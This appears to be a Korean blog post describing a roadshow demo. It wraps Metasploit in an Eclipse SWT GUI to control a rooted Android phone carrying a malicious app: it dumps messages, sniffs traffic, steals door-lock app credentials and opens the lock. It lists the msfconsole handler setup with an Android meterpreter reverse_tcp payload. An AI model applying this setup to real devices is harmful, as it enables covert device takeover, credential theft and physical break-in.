내용은 이전 kali 를 이용한 안드로이드 해킹과 같다.
다만 swt를 활용하여 UI를 입혀보았다.
또한 msfconsole창에서 사용한 것이 아닌 이클립스 swt 창으로 실행되는 것을 구현해보았다.
회사 로드쇼에서 사용한 것이기 때문에 소스코드는 공개하지 못한다는 점 양해 구합니다..
(이런것도 가능하구나! 라고 생각하시면 좋을 것 같습니다)
시연 목적
- 해커가 도어락을 제어하는 것과 단말을 원격으로 제어한다는 컨셉
시연 환경
- vmware11
- 이클립스 kepler버전(최신버전인 luna의 경우 SWT design을 지원하지 않아 그 전 버전 kepler 사용)
- 안드로이드 4.3 갤럭시 s3(루팅 단말, 악성코드 앱 설치, 악성코드 앱이 죽지 않도록 임모탈 앱 설치)
용어 설명
1. metasploit: 오픈소스 도구로 공격코드, payload encoder, 보안 테스트 등을 제공하는 도구
2. msfconsole: metasploit framework 내에서 이용할 수 있는 설정과 옵션 제공
3. payload: framework에 의해 선택되고 전송되어 실행되길 원하는 시스템의 코드
4. exploit: 컴퓨터, 단말 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령
5. resource: 실행파일을 로드하여 msfconsole에서 사용할 수 있도록 함
6. meterpreter: 실제로 희생자의 단말에 붙을 때 실행할 수 있는 명령어를 입력할 수 있는 콘솔
순서
1. 이클립스(Run)
2. service postgresql start (자동 구현) -db 작동
3. msfconsole 실행 (자동 구현)
- 스크립트 실행
- use multi/handler
- set PAYLOAD android/meterpreter/reverse_tcp //시스템 코드 중 안드로이드 리버스 tcp코드 실행
- set LHOST xxx.xxx.x.xx //kali linux ip설정
- set LPORT xxxx //kali linux port 설정
4. resource 한번 더 실행 (자동 구현)
- 스크립트 실행
- set AutoRunScript<스크립트 파일 명> 핵심
//meterpreter에 접속이 될 때 루비언어로 바로 실행 모드로 전환할 수 있도록 설정
//실제로 구현해보면 알 수 있지만 meterpreter 창 실행은이클립스에서 제어가 안됨
//즉 스크립트를 통해 meterpreter > 모드로 진입할 수 있도록 스크립트 구현함
- exploit
위의 내용까지의 이클립스 콘솔 화면
starting PostgreSQL 9.1 database server: main //service postgresql start
msf > resource <file명> //resource 실행
kali에서 내용 복사가 안되어 전에 작성한 파일 캡처로 대체하겠습니다...
------------위 설명까지는 이클립스에서 run을 실행했을 때 자동으로 실행이 됨(이클립스 콘솔 확인 가능)
swt를 활용하여 구성한 UI(허접합니다..)
GUI 화면
1. button1: System Information //sysinfo 명령어 사용(단말 확인 가능)
2. button2: check Rooting //단말 루팅 확인 가능
3. button3: Message Dump 및 Dump파일 open
4. button4: TcpDump 및 open
5. DoorLockOpen
Tcpdump의 경우 루팅 된 단말에서는 가능하기 때문에 시연에서 사용
예)
메시지 덤프 후 덤프 파일 OPEN(개발용 단말이기 때문에 개인적 메시지가 없음..)
Tcpdump 뜬 화면
앱에서 도어락을 열 때 id/pw 탈취
현재 도어락과 연결되어 있지 않아 DoorLockOPEN 버튼이 활성화 되지 않지만
구현 때에는 open되고 창에는 SUCCESS 메시지 출력
뭐 그렇게 대단한 내용은 아니지만
msfconsole을 별도의 GUI를 만들어서 해킹 시나리오를 만들어봤다는데에 의의를 두는 프로젝트였습니다.
또한 swt도 처음이고 칼리 안드로이드 해킹도 처음이어서 많이 배울 수 있는 기회였습니다.
'해킹 > 해킹' 카테고리의 다른 글
웹 퍼징 도구 DirBuster 소개 (0) | 2016.01.19 |
---|---|
해킹의 첫걸음. 풋프린팅(footprinting) (0) | 2016.01.19 |
kali 를 이용한 안드로이드 해킹 (3) | 2015.08.27 |
kali metasploit 소개 (0) | 2015.08.27 |
kali sslstrip을 이용한 HTTPS 도청 (0) | 2015.08.27 |